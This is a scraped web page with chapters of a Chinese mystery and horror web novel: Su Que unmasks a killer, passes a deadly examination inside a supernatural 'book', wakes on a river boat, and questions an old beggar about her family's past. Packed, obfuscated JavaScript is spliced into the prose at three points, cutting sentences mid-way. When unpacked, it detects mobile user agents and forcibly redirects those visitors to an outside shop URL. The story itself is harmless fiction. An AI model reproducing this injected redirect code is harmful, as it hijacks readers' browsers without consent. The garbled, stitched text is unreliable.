l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740890|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又险地避开了苏却的擒拿，反从苏却身前游出。 同时，他另一只手留了后招，不知道又从哪里掏出了什么东西，削向苏却的手臂。 两人瞬间在床前斗在一起。 苏却心中一惊。 这身法，这反应。 竟然与白日里在书斋袭击她的那个黑衣人如出一辙。 怎么还是他？ 苏却攻势愈发凌厉，招招不离对方要害，完全不顾自己身上伤势。她拳脚并用，匕首连划，逼得那黑衣人连连格挡。 几招过后，苏却的匕首已经在他身上刺了不少伤口，招式却依旧缠着他的手脚，让他无法离开。 而他又急于脱身，明显力有不逮，落了下风。 终于，黑衣人似是忍无可忍，一个出手，死死捏住苏却缠着布条的手腕，如何回招也不松手，等苏却吃痛露出破绽的一刻。 苏却乘势而上，一脚踹中对方膝弯，同时匕首柄重重击打在对方后颈处。 黑衣人闷哼一声，身体向床边栽倒。 宋停听着打斗的声音心中本就暗自焦急，结果一个人重重扑过来，他直接一掀被子蒙住来人的脑袋。 苏却顺势用膝盖顶在此人背部，反剪双臂，牢牢制伏。 直到此时，宋停坐起身，迅速摸出火折子，点亮了桌上的蜡烛。 烛光驱散了黑暗，映亮了屋内的一片狼藉，也映亮了被苏却死死按在床上仍在挣扎的黑衣人。 宋停喘了口粗气，走到苏却身边看着床上的人，后怕道：“好家伙，身手当真了得，竟能与你这般周旋，寻常人怕是难以招架。来，让咱们瞧瞧，这位夜行客究竟是何方神圣……” 他弯下身，伸手去扯那黑衣人脸上的蒙面黑巾。 苏却却忽然开口，冷静道：“不必看了。” 宋停动作一顿，疑惑地看向她。 苏却的目光，落在黑衣人因挣扎而松开的衣领处，那里露出了一小截属于女子的脖颈肌肤，以及一缕散落出来乌黑的长发。 “陶雨竹。”苏却的语气没有半分疑问。 膝下之人闻言，身体僵了一瞬，什么都没说，但已经泄了气，放弃了挣扎。 宋停将床边的布条递给苏却，苏却把陶雨竹捆了个结结实实。 拉起身面巾掉落的时候，陶雨竹原先那张带着几分活泼秀气的脸，只剩下被擒的惊怒与不甘。 她紧紧咬着下唇，一言不发。 门外传来了一阵开门声和询问声。 显然，方才的打斗虽短暂，大家之前又经过提醒，都没睡死，这些动静惊动了大家。 “怎么回事？” “什么声音？” “张山起房里亮着灯，去看看呗。” 于是几人披着外衣，手持烛台，又惊又疑地走近，探头向屋内张望。 当看到屋内手持匕首的苏却，身穿黑衣又被紧紧绑着的陶雨竹，和站在一旁的宋停，地上还落着一把小刀的时候，众人脸上都露出了震惊与恐惧的神情。 杨季野脸色极差，又不耐烦，问道：“能不能解释一下，你们大晚上不睡觉在干嘛？” 关记秋看了段春音一眼，不敢置信道：“苏公子，这……陶姑娘她……不会就是，凶手吧……” “不，不会的。”段春音冲到陶雨竹面前，抓着她的衣服，“你告诉大家，你，不是，你……不是！” 陶雨竹垂了眉眼，轻声道：“对不住，我无话可说。” 宋停见场面并不是一时半会结束得了，便对苏却道：“我去看看隔壁张山起。” 他转身挤出围观的人群，走向秦玉奇的房间。 然而，没过多久，宋停便去而复返，脸色是前所未有的慌张。 他甚至顾不上廊道上还有其他人，冲进房间，对着苏却急声道：“不好了！苏却！张……张山起不见了！秦玉奇房间里是空的！” 63. 赴考（二十五） 赴考（二十五） 几乎所有人都被方才的动静惊动，聚集在了廊道上，手中的烛光将每个人的影子混杂成一团混沌，晃动着。 难道，自己之前所有的推断，从根本上就错了吗？ 难道，在宋停花了五年寿命得来的提示下，再三确认的双凶规则中，还潜藏着第三个凶手？ 苏却站在张山起的房门口，感到了一股寒意。 左边，是秦玉奇的房间，右边，是叶别风紧闭的房门。 她的目光在叶别风的房门上停留了一瞬。 门紧闭着，内里悄无声息，不知那人此刻是生是死。 她最终还是没有抬手去敲。 无论叶别风做出了怎样的抉择，那都是他自己的事，旁人无权，也无法干涉。 夜色缓缓褪去，天际微白，晨曦从各个缝隙中渗漏进来，驱散开满室黑暗。 如今，叶别风、陶雨竹两名凶手身份均已明确，而书图案的持有者并未全军覆没。除非叶别风反悔，凶手的最终任务已确认失败。 按照常理而言，这似乎应该就是事件的终局了。 然而，当众人怀着一丝希望，在客栈大堂中枯坐良久，直到等掌柜再次现身，期待着听到什么关于事件结束的总结或者是否可以离开的消息时，掌柜只是一边走向门口准备关上大门，一边很疑惑地看向所有看着他的人，问道： “时辰不早了，诸位举子……为何还不去书院？再耽搁，可就赶不上了……” 众人闻言，先是愣怔，随即脸上血色尽失，绝望笼上心头。 难道这一切还未结束？ 还要回到那个该死的书院？ 众人再也顾不得其他，争先恐后地冲出客栈大门，向着书院方向狂奔，仿佛慢一步就会死在这里。 客栈内，转眼间便只剩下苏却、宋停，以及被看管在一旁的陶雨竹。 客栈门外那片坟地上，果然又新增了两座新的坟茔。 秦玉奇和康大化，确认死亡。 就在他们准备动身之际，楼上传来轻微的开门声。 苏却抬头，只见来人满脸满身的鲜血，把原本眼角十分显眼的血痣，都掩盖了起来。 他沉默着，缓缓走来。 他……竟然还没有死。 宋停翻了个白眼，不屑地嗤了一声，随后提醒苏却道：“该走了。” “嗯。” 三人快到书院门口的时候，正好响起一声震耳欲聋的钟声。 按照推算，这应该是晨读结束的钟声。 向书斋走去的路上，正好碰上从明伦堂走来的宁剑书和楚念来，对视后，沉默。 他们的表情疲倦麻木，一副茫然的模样。 回到书斋，桌案之上笔墨纸砚依旧齐全，但并未如往常一样放着需要抄录的书籍。只压着一张纸张，上面写着四个大字： 今日课试。 宋停凑过来看了一眼，眉头紧锁，道：“我想，这个课试，恐怕就与我们能否离开这鬼地方，息息相关了。” 苏却微微颔首，目光凝重。 但，要试什么呢？ “不会是真的要出一张卷子，上面出的题目都是……都是从我们这些天抄的书，或者……写的策论里面找的吧……” 在饭堂里，大家都挤着坐在一张桌子边，楚念来没动一口面前的饭食，手撑着下巴，满面愁容地说道。 “不会，此地事事关乎生死，依我看，应该没那么正经。”林无岩说完，看到楚念来眼眶已泛红，便拍了拍他的肩膀，安慰道，“但所试内容，定然与我们这些人，与这几日发生的事脱不开干系，我想总应该是……我们能够回答的东西。” “那……会不会是要我们写出每个人的图案身份？”段春音不确定地小声猜测道，“可明明是掌柜一开始就说了，叫我们不能随意告诉别人……如果课试真考这个，那我们岂不是从一开始就被他误导了吗？” “早知如此，还不如我们大家都早点把自己的身份告诉苏公子呢，毕竟我一直都不觉得他是一个坏人。”孟兰红冲着苏却感激一笑，道，“如果真是这样，苏公子，我之前给你的身份都是真的，未曾说谎。” 一旁的杨季野闻言，嘴角噙一丝冷笑，道：“孟姑娘，若此番能侥幸不死，他日再有类似境遇，杨某还是劝你，莫要太轻易相信他人。你将自己的底细和盘托出，若他恰好是凶手，你此刻哪里还会有命坐在这里侃侃而谈？” 孟兰红鼓足了勇气，抬起头直视杨季野，反驳道：“多谢提醒，我铭记于心。可话说回来，凶手藏于我们中间这件事，不正是苏公子不顾自身安危，点破告知大家的吗？他若不说，你我现在或许还相互猜忌，到头来死得不明不白，又怎会有机会坐在这里，商讨如何应对课试？你也哪里还会有命去防备别人？” 她的话条理清晰：“我并非说藏匿身份，保护自身有错，但在此绝境之中，只顾防着别人，无人敢付出信任，事件便永无推进之日，我们就只能像之前一样，眼睁睁看着身边的人一个个死去。” 关记秋也点头附和道：“是啊，此番若非苏公子身受重伤，还冒险与凶手周旋，我们恐怕难以扭转局面。至少现在……我们抓住了一名凶手。” 无人再接话，场面静了几瞬。 一直皱眉沉思的宁剑书突然开口问道：“若答错了，会如何？” 苏却抬眼看了看众人，道：“或许是一切重新开始，或许，皆葬身于此。” 死。 简单一个字。 是悬在众人头顶的利斧，是即将倾覆而下的洪水，是已在嘴边的毒药。 孟兰红努力想挤出一点安慰的笑容，却比哭还难看：“也……也别太丧气了。好在我们……我们也不是全然无知。就像……就像我们至今也不知道命序的排列规则到底是什么。我每天都觉得自己一定是末位，可好像……并没有每次都遭殃。说不定，这课试的评判，也并不会如我们想象得那般严苛……对吧？” 她的声音越说越低。 …… 离开饭堂的时候，杨季野叫住了苏却。 宋停立刻警惕地往两人中间挤了挤，一副随时准备挡在苏却面前的姿态。 生怕这看似粗犷实则更暴躁之人，会有什么危险的举动。 然而，出乎意料的是，杨季野神色复杂地看着苏却，忽然抬手，郑重地拱手向她行了一礼，声音低沉道：“苏……苏兄弟。课试之后，无论结果如何，或许再无相见之期。即便他日再见，亦是陌路，我……不希望你对我，存有误解。今日之别，后会……无期。” 说罢，他不再多言，转身大步离去。 苏却望着他离去的方向，沉默片刻，亦抬手，对着那背影回了一礼。 回到书斋，课试的题目已经放在桌案上。 第一个问题：当前，已死亡之人的数目与姓名。 随后还有“首日之凶为何人？”“具列诸般图式，详悉绘出”“试言翌日所应之图，并阐其理”等题目。 无一例外，全都围绕着这些天发生的死亡事件，各自身份的轮换与规则，以及关键的线索展开，要求的是对全局的把握。 宋停看着纸上那密密麻麻的问题，长长地叹了一口气，脸上满是无奈：“这些问题的答案，我们大多推测而来，即使有来源，也零零散散，只是人人真假难辨的一面之词。甚至连搜证查验都处处受制，这……这如何能确保答得对？” 苏却提笔，道：“无非先礼后兵。” 宋停听苏却此言，浑身打了个颤，连忙凑上前，挽起袖子，认真地帮她磨墨，边道：“当年我也还算课业不错，我们一起答吧。但愿这破书院识相点，乖乖放你离开，否则……谁遭殃还真不一定呢。” 试题足足有五张纸之多。 苏却并未急于下笔，而是先在其他纸上将事件、人物、身份一一列出，反复推演。 宋停则在旁不时补充细节，或提出不同角度的看法。 期间，书院内外一片死寂，既没有钟声响起，也再没有新的身份纸条被塞入。 完成后，已是日薄西山之际，残阳余晖透进书斋，光影凄艳。 将答卷放进门口木箱后，苏却和宋停匆匆返回客栈。 一路上一个人都没遇见，只在客栈门口对面的荒地上，看见了坐在坟边的叶别风。 而坟堆自然也多了一个。 踏入客栈大堂，里面亦是冷冷清清。 只有李氏兄弟二人，坐在离门口不远的一张方桌旁，李长宥正往碗里斟水，李共川则百无聊赖地用手指蘸着水在桌面上画着什么。 除此之外，再无他人踪迹。 苏却刚想往楼梯方向走去，李长宥却头也未抬，道：“苏却，奔波一日，不如坐下来聊聊？” 苏却脚步顿住，问道：“其他人呢？” 李长宥这才抬起眼答道：“该活的，自然还活着。该死的，已经死了。该走的，也都已经走了，各有各的去处。而我们，在等你。” “其他人都已经结束了？”宋停忍不住追问。 “嗯。”李共川点了点头，道：“这么多批人里，你们，已经算慢的了。” “……我们？”宋停觉出李共川的话不对劲，“是指我和苏却……还是指所有参 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16749780|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与的人？” 李长宥端起碗，悠悠道：“开启课试，你们确实是最慢的一批。不过……”他话锋一转，“能够开启一次课试便直接结束的，至今为止，也只有你们。苏却，你今日为尺，找出了行凶之人，此二人会因你而死。接下来，有一份惊喜等着你，希望你会喜欢。” “可叶别风不是杀了人吗？他也要死？”宋停问道。 “但他确实是暴露了身份呀，告诉的，正好还是苏却，他命该如此。”李共川道，“你们不知道，看你们来来回回磨磨唧唧，我有多心急。” 宋停闻言，往苏却身边靠了靠，紧紧攥住了苏却的衣料。 苏却面色不变，甚至自己走到桌边坐下，拿起一个干净的茶碗，倒了一碗凉水，云淡风轻地问道：“所以，你们俩，如今究竟是活人，还是死人？” “我们，是不会死的。我兄弟二人身负双生蛊，性命共享，除非同死。可我的图案从始至终皆为刺盾，故而，无人能杀我，亦无人能杀共川。”李长宥晃着手中的碗，解释道，“但，我们又都是死人，不仅我们，这里的所有人都是如此，现在的你和宋停，也是。只有能出去的，才是活人。” “明白了。”苏却道，“和客栈掌柜或者诡闻当铺的林老板一样。” 宋停：“……” 李共川脸上露出一丝惊讶，脱口而出：“你认识林叔啊？你难道……” 李长宥立刻瞥了李共川一眼，阻止了他继续说下去。 他转而看向苏却，唇角勾起一抹若有若无的笑意：“那，你又是什么时候开始怀疑我们的呢？” “最开始抓阄分房之时，”苏却坦言，“我先怀疑了李共川。” 李长宥闻言，便又严厉地瞪了李共川一眼。 李共川讪讪地挠了挠头，对李长宥赔笑道：“哥，是我心急了，没沉住气。下次……下次再换一换，换一换。” 苏却又问：“既然之前有很多人来过，还比我们快，我倒是好奇，他们是如何完成的。” 李共川看了一眼李长宥，见他未曾阻止才道：“人，因利聚因利散，猜疑斗争不过就那几回事，而自作聪明者，大多都全军覆没了。我见过最蠢的，就是第一天放火烧死所有人的，自己也跟着永远死在了这里。” 放火，书院…… 会是巧合吗？ 苏却只用手掌贴着碗壁，没喝：“你说在等我，难道就是想聊这些？” “自然不止。”李长宥的表情很罕见地生动，他用那双漂亮的眸子看着苏却，“我知道，你在找《诡闻录》。” 苏却抓紧了碗沿。 “不用费力去找了。”李长宥的声音平和，却字字千钧。 “这里，就是《诡闻录》。你的所见所闻，你在此经历的一切，都是《诡闻录》的一部分。” 李长宥微微一笑，继续道：“我和共川的任务，就是让你们所有人，全部都死在这里……可是苏却啊，你本应该是一个死人了，但是，不知为何，他又放过了你。而你，既然活了下来，就应该感恩，就应该好好帮他，而不是和他作对。” 苏却一点即通：“所以，你那时才会给我看范月楼的伤口图……” 李长宥笑容更深：“这一招，用来对付你们这种细致之人，一套一个，最是有效。” 碗中的凉水漾出轻微的波痕，苏却盯着李长宥，一字一顿地问道。 “他，是谁？” 而李长宥却像是说完了所有该说的话，恢复了面无表情的模样，不再回答她的问题，只淡淡道：“我们，一定会再遇到的。在不同的故事中。” 说着，他起身，递给苏却几张纸，道：“送你的，见面礼。” 苏却伸手接过。 可话音未落，李长宥的身体骤然裂开，伴随着皮肉撕裂之声，却未鲜血四溅。而是像人偶一般，裂成了七八块残肢，诡异地悬浮在半空之中。 尤其他的头颅，直接飞到了苏却眼前的咫尺之处，毫无生气的脸被放大了数倍，眼睛如同两个深不见底的黑洞，死死地盯着她。 那嘴唇一张一翕，发出的声音如巨石压身： “走——” 苏却纵然心志坚韧，也不由得心中一惊，抬手想挡。 而她身边的宋停，何时见过如此恐怖的景象，压抑的恐惧瞬间爆发，撕心裂肺地大叫起来。 然而，那尖叫声刚刚响起，便瞬间消失在苏却的耳边。 与此同时，她眼前的景象全部消失，只剩一片漆黑，吞噬着她的意识。 可鼻尖，却嗅到了一股苦涩的药草气味。 她缓缓地，睁开了沉重的眼皮。 64. 尘世（九） 尘世（九） 模糊的光影在眼前渐渐汇聚，随后映入眼帘的，是袁慈邈的脸。 “醒了，总算醒过来了！”袁慈邈长长地舒出一口气，“万幸，真是万幸。我那时还没歇下，正好没在屋中，方能及时察觉异状，循味而来。若再晚上一时半刻，只怕你二人皆凶多吉少。” “多谢援手，我还好。” 苏却用手支撑着，缓坐起身，尝试活动四肢，隐隐感到全身上下酸疼疲惫。 “你……你这还叫还好？”袁慈邈满脸震惊之色，“你一度脉息全无，浑身发僵，触手生寒，如同新逝之人一般。幸得这是艘运送药材的货船，船上往来暂住的游方郎中有好几位，大家聚在一处合力施救，才勉强吊住你一丝游息……” 说着，他伸指搭上苏却的腕脉，心中一惊，又细细再探一番，口中不禁喃喃自语：“奇也怪哉，明明当时凶险异常，脉象渺茫，可如今……简直是闻所未闻，见所未见。” 苏却面色正常，眼神清亮，脉象有力，再无半分病态萎靡的模样。 袁慈邈缓缓放下手，整张脸都皱成了一团，百思不得其解。 苏却的目光却早已越过他。 在他身后那里，原本该躺着宋停的位置，此刻竟是空空如也。 只余下一大滩触目惊心的血迹，在昏暗的光线下，让人不安。 苏却抬手指向那一侧，问道：“宋停人呢？” 袁慈邈看她表情，连忙摆手宽慰道：“你莫急，也莫动气。宋兄弟他虽然当时伤势看着极重，失血甚多，但比之你当初的状况，反而更早稳定下来。家父此刻正在隔壁亲自看顾，确已无性命之忧，只是元气大伤，虚弱不堪。只不过……” 袁慈邈吞吞吐吐起来，面露犹豫，似不知当讲不当讲。 “只不过什么？”苏却苏却心中一凛，追问道。 “只不过……我看你二人年纪相仿，既是一路同行的伙伴，日后相处，时日方长。若再有言语龃龉，或是意见相左之处，万万要平心静气，坐下来好好分说清楚。何至于……何至于闹到这般两败俱伤的地步？这实在是……唉，百害而无一利啊。” 袁慈邈叹了口气，小心翼翼地斟酌了用词，苦口婆心继续劝道：“相逢就是缘分。我这几日与宋兄弟交谈接触，发现他性子确实……但他是个热心肠，人也不坏，只是容易想不开。虽然不知你们之间有何矛盾，但他竟然自戕赌气，想来问题也不小……我的意思是，等会儿相见把话说开，能退则退一步，想必便能冰释前嫌。兄弟之间，能有什么解不开的死结和过不去的坎？真到了你死我活的地步，只怕要追悔莫及。” 苏却看着他：“……” 袁慈邈眨眨眼：“？？” 苏却：“……” 见袁慈邈一脸恳切，苏却将已到唇边的解释咽了回去，只以沉默应对这番误解。 “我过来你这边察看情况之前，他尚未苏醒，你且宽心再等等。”袁慈邈见苏却一言不发，以为自己的劝解起了效果，便对苏却笑了笑，道，“你记得定要把这碗药喝了，于你眼下恢复大有裨益。” 说罢，他不再多言，动手收拾了旁边的杂物，留下了一小碗漆黑的药，就转身离开了。 船身随着河水轻轻晃动，碗里的药汁亦随之微漾。 屋子里河水腥气，药材的苦涩味，以及血腥气混杂着在一起，压在苏却胸口。 苏却起身刚行两步，便觉一阵头昏脑重，只得扶住板壁，暂稳身形。 这间屋子并不大，只够两三个转身。 毕竟是载货的船，随船而行之人也不少，有这样一间屋子可住实在已经非常不容易了，宋停躺着的地方更是一个由旧衣物被褥垫成的地铺。 苏却移过去摸了摸，血迹干了的地方已经硬了，没干之处浸透了数层布料…… 他这是，到底流了多少血啊？ 这个……不知轻重的傻子。 怪不得，刚发现他的时候，那么一副…… 等等。 无数的画面与声音，过往种种，如洪水溃堤，汹涌地灌入苏却脑海。 苏却这才发现，自己这一次醒来后，记得每一个人，每一件事，每一个细节…… 竟然什么都没有忘记。 李长宥临别时的话似乎再次在苏却耳边响起。 陶雨竹和叶别风皆因自己而死，故而，有一份惊喜相赠。 难道，就是指这件事？ 也就是说，只要在那边杀了人，或者有人因自己而死，便可以保留记忆？ 这算哪门子的惊喜？ 不过，李长宥的话也并非全无价值。 至少比那个故弄玄虚的林老板，透露了更多信息。 那里，很多事根本无法以常理度之，但如果按他所言，经历的一切即为《诡闻录》，而《诡闻录》又是一本书。 如此说来，他们这些人入梦后，竟是踏入了一本写满奇闻怪谈的书卷之中？ 亲历的这一切人心鬼蜮、生死搏杀，岂不就如同亲身扮演着书中角色一般，一字一句，演绎成真？ 那又为什么非死不可？ 第一次事件，十人十天，看似寻找新娘，实为复活少城主的活祭品，人人都会死，自己更是被一眼看穿伪装，差点结了门阴亲。 第二次事件，七人七天，看似寻回失物，实为洞察太守秘密后的灭口之局，险象环生，自己则是拿着最多的命筹，被诱惑着去做致命交易。 第三次事件，十八人九天，规则未明，杀机四伏，更有内鬼作祟，自己差点被活活打死，最终生者几何，苏却亦不清楚。 那个地方到底有什么的意义？那本《诡闻录》又有何特别之处？这一切与她追查的事情，又有何关联？ 疑团如乱麻，层层缠结于心。 苏却端起那碗气味苦涩的药，走出了屋子，走上了甲板。 河风立刻带着寒意扑面而来。 风势颇大，冷冽如刀，卷走了舱内浊气，令她神志一瞬清醒。 她靠在船边，一倾，碗中的药汁尽数倒入河中。 瞬间便被吞没。 抬眼向远处望去，河岸是连绵不绝的枯树与荒野，在黎明前的微亮中影影绰绰。 好像潜藏着蛰伏的巨兽，在默默窥视。 假如…… 苏却向来不信鬼神，只信自己手中的刀与心中的判断。 但假如……这接二连三的离奇经历，是父亲母亲在冥冥中领着自己向前走，助她一步步驱散十二年前那场惨案的迷雾，了却这一桩心中大事。 那么，她是否该坦然接受，紧紧跟着他们，无论前方是鲜血淋漓，还是万丈深渊…… “噗通——” 有什么东西被丢进河里。 苏却循声回头，只见袁慈邈正搀扶着一个人，站在不远处。 那人面色惨白如纸，脖子上缠着数圈布条……十分狼狈。 不是宋停又是谁？ 他换了一身不知道是谁的宽大衣裳，更衬得他瘦弱，像个要散开的架子。 “苏兄弟在想什么这么入神，药也不喝，莫非……是信不过袁某的医术，恐药中不妥？” 袁慈邈看着她手中的空碗，苦笑着解释道：“你思虑过甚，心力交瘁，非寻常静养可治愈。那药中特意添了几味安神定志、调和阴阳的药材，饮下后好生睡上一觉，凝神聚气，待得醒来，船大抵也快到河阳府了。我本是想让你无知无觉间用了药，免受忧思惊梦之苦，只利于康复，绝无他意。” 宋停松开了袁慈邈的搀扶，自己向苏却这边挪近了几步。 他看着她，张了张嘴：“苏却，我……” 话到了嘴边，又千头万绪不知从何说起。 之前她的肩头只是被刺了一下，就留了一个疤，而此次这么多的伤口，也不知道她到底如何。 只是眼下自己这副模样…… 宋停转口道，“这次……多亏了袁慈邈他们。我醒来后就在想，苏却，出门在外，我们不如带上他吧，他正好打算和我们同向而行。” 袁慈邈接过话头，道：“不瞒二位，我随家父行医游历，本为增广见闻，奈何这一路行来，所见所闻，令人心惊。许多平日身强体健、无病无灾的男女老少，一夜之间暴毙而亡，周身没有任何外伤内疾，死状非比寻常。父亲原是希望我在河阳府换乘南下的船只，前往南云山百炼谷拜师，多学多见识，可……” 说到此处，他声音低了几分：“可……说实话，我……我并不愿。如果百炼谷若真有医治之法，为何不拿出来用？我并不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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沿岸店铺早早挂起了灯笼，酒旗于风中轻摆，店家吆喝着，贩夫叫卖着，交谈声马车声……交织在一起，杂而不乱。 他们穿过人群，选了一家不算太过热闹的客栈。 客栈门面不算阔气，但门口灯笼明亮，笼屉热气袅袅，望之便觉心头一暖。 踏入店内，堂内灯火通明，收拾得颇为整洁，已经坐了七八桌的客人，多是南来北往的商旅。 掌柜是个和蔼的中年人，见有客来，立刻笑脸迎上。 他们要了三间相邻的房间，略作安置便相偕下楼到大堂用晚饭。挑了张靠窗的桌子，点了些清淡的小菜，一盆热汤和一些馒头杂粮。 东西很快便送了上来。 正吃着，隔壁桌几个汉子几杯黄汤下肚，谈论的声音不由高了起来，内容断断续续地飘了过来。 “……要说文城县令赵政寅，啧啧，也是时运不济，老来丧子，听说如今已病得下不来床了，眼看就不行了。” “可不是嘛！你们不知道吧，虽然以前多多少少也有过，可是愈演愈烈了。外头啊，死得蹊跷之人那是数不胜数，人心惶惶，都说是有不干净的东西。” “哼，要我说，未必不是报应！” “嘘……兄台慎言。我听说周家可是叶家亲眷，家里几子个个都争气，如今在文城势头正盛呢，只怕是……” 议论声中带着鄙夷和置身事外的幸灾乐祸。 苏却夹起一箸青菜，专心用饭，耳朵却听得认真，只字不落。 就在这时，客栈门口，一个衣衫褴褛的老乞丐好像被这边的话题吸引，咧开嘴沿着屋外走到窗边，露出黄黑的牙齿，趴在窗框上没头没尾地大笑了起来。 隔壁桌一汉子没好气地斥道：“滚滚滚，臭乞丐，这些事是你能听得的？” “文城？嘿……嘿嘿……想当年，谁人不知谁人不晓啊，那地方……热闹得很呐！狗咬狗，人吃人，黑的白的搅作一团，哈哈……哈哈哈哈……” 他狂笑着，笑声在喧闹的大堂里显得格外刺耳，引得不少食客侧目。 他却恍若未觉，继续道：“现在嘛，倒是干净多啦，算得上是清流之地喽……哈哈哈哈……” 65. 尘世（十） 尘世（十） 河阳府地处中南，地势平坦，多大川大河，水网密布如龙蛇盘踞，润泽千里，亦洪患无穷。 小时候，曾听父亲说起过，很久以前，文城不叫文城，叫沧城，文江原来也不叫文江，名沧水。 这条贯穿河阳府的沧水，曾被百姓私下称为“孽龙”。 每逢汛期，上游群山之水汇入，这条孽龙便翻身作乱，将所有村庄田舍化为无有，百姓岁岁筑堤，年年逃荒，苦不堪言。 绝望之际出英雄，一位名叫周文的年轻水工走遍水泽，绘河道图，带领着当时幸存的所有人，以肉身为堤治理洪水。 没有官粮，百姓掏空家底凑余粮，没有拨银，各家变卖家产捐银两……改河道修水利，不知葬送了多少性命，才用一代人的白骨，锁住了这条“龙”。 改了河道，改了名之后，文城慢慢才兴盛起来。 河阳府终于再也没有后顾之忧，才有如今的热闹繁华。 夜色如墨，浸透了河阳府的天空。 灯火烧昼，流光泄地映人间繁景。 而客栈内，大多数客房的灯火早已熄灭。 苏却和衣躺在床榻上，听着窗外远远传来的喧嚣声，毫无睡意。 又等了一会，才悄然起身。 行至窗边，她将木窗推开一道缝隙，清冷的夜风立刻钻了进来。 傍晚那个在客栈门口的老乞丐，此刻早已不见了踪影。 当时人多眼杂，苏却并不敢上前打听，但他看似疯癫的话里，分明是对文城过往知道点什么，绝非寻常人能信口胡诌出来的。 此人，她必须寻到。 苏却轻轻推开房门，身形一矮，便如鬼魅般悄无声息地溜出客栈，滑入夜色之中。 客栈并不在主干道上，所以街边只有零星灯火，偶有晚归行人匆匆的身影。 而此时，城中的乞丐大多都会候在热闹的地方，等着哪位豪商富客吃饱喝足心情舒畅之时，随手扔点铜板碎银，或者看哪家掌柜老板生意兴荣，讨点吉礼酒饭饱腹一顿。 但苏却并不敢向人打听。 据乞丐所言，文城是“人吃人，狗咬狗”，这句点评，实在太重了。 父亲为人正直，为官清廉，而当时文城盗匪横行，才特意调父亲前去协助。 他担心事务繁忙，责任重大，才没带上母亲和自己，独身赴任。 可结果…… 若是得罪，得罪了谁？ 若是陷害，是谁陷害？ 又为何牵连甚广，相关的一丝一缕都查不到眉目？ 这个乞丐又是知道什么，才会说出这样的话来？ 苏却不知找了多久，终于在码头边一处堆放杂物和泔水桶的墙角边，看到了乞丐的身影。 老乞丐背靠着一个破木桶，手里抓着一个又油又黑的脏酒葫芦，正仰头往嘴里灌着浑酒。 他眼神涣散，脸上泛着酡红，口中含糊不清地念叨着什么，声音时高时低，像是在与人争辩，又像是在私语。 苏却见四下无人，脚步放轻慢慢靠过去。 老乞丐似乎察觉到了生人的气息，醉眼朦胧地抬起眼皮，目光浑浊，似乎在找来人的位置，含含糊糊道：“……谁……哪个……行行好……施舍点酒钱……我还能喝……” 苏却蹲下身，声音压得极低，问道：“老人家，你从哪儿来？” 乞丐终于辨出了声音的方向，晃头晃脑地坐起身，使劲眨了眨眼睛，迷迷离离地对着苏却得方向说话，一张嘴就是酒菜混着恶臭的气味：“我……从生来，往死……嗝……中去……” 苏却屏息，问道：“我听你说了文城的事，我想去做点小生意，不知此地风土如何？” 她的话音未落，老乞丐那原本迷离的眼神骤然一闪，他挣扎着坐直了些，警惕地上下打量着苏却：“打听文城？你……你是什么人？谁家后人？” 苏却心中微动，只是静静地看着他，没有回答他的问题。 老乞丐见她沉默，竟又挣扎着向前凑近，那股刺鼻的味道更是汹涌浓烈，令人作呕。 他的脸上满是污垢，凑到苏却面前，浑浊的眼珠死死盯着看，从左到右，又从右到左，端详着，仿佛要在她的眉眼间，找出熟悉的痕迹。 看了半晌，他忽然向后一仰，发出一阵更加癫狂而悲凉的笑声，那笑声格外瘆人：“哈哈……哈哈哈……后人？怎么可能还会有后人？都死完啦！死绝啦！一个都没剩下！烧的烧，杀的杀，埋的埋……哈哈哈……” 他一边狂笑，一边打开酒葫芦喝酒， 他手抖得厉害，酒水溅出，打湿了他破烂的衣襟。 随即，他脑袋一歪，往木桶上一靠，鼾声大作，竟是彻底醉死过去，不省人事。 苏却依旧蹲在原地，看着他的狼狈模样，心中已是惊涛骇浪。 都死完了。 她的面前，好像又燃起了当年的那把火，灼热的气浪、刺鼻的焦味、绝望的哭喊……破碎的画面让她呼吸一窒。 这老乞丐，必定是知道些什么的，甚至可能亲身经历，或者亲眼目睹过什么。 可这里是河阳府，他又疯疯癫癫语无伦次，既不能叫醒使手段逼问，又不能撬开他的脑袋看看里面到底有什么……万一打草惊蛇，甚至可能给这老乞丐招来杀身之祸。 苏却愣了一愣，起身，从怀中掏出几枚铜钱，扔进老乞丐身边那个豁了口的破碗里。 铜钱与碗底碰撞，发出几声清脆的声响。 这声音，吸引了周边同样醉醺醺晃悠悠地其他乞丐，他们有的拄着拐杖，有的拿着破帽子，衣衫褴褛，狼狈不堪。 苏却看着他们向自己围过来，手中拿着一把铜钱，向空中一抛。 众乞丐蜂拥而上，恨不得挤走所有人，自己能多捡几枚。 而此时，苏却已经趁乱离开墙角，心中警铃大作，脊背生寒。 有人，在跟踪她。 对方的身手极佳，气息收敛得近乎完美，与这黑暗几乎融为一体。 若非她多年历练，直觉敏锐，只怕根本无法察觉这道潜伏在夜色之中的窥视目光。 她借沿途建筑掩形，疾步向客栈赶去，可没过多久，那道目光又再一次在苏却背后出现。 竟然追上来了。 苏却眉头紧锁，心中沉重。 本想直接回客栈，但此刻已经被人盯上，将危险引回去并非明智之举。 她立刻改变了返回客栈的计划，脚步一错，混入不远处沿河夜市的人流中。 苏却正思忖着是该冒险将其引入更偏僻处反制，还是继续周旋寻找机会溜走，却在人群之中，看到了一个逆行的人，一张熟悉的脸。 “苏却！” 他神色慌张气息混乱，正焦急又无声地向她示意。 是宋停。 那个傻子也看到了她。 他明显是跑着出来的。 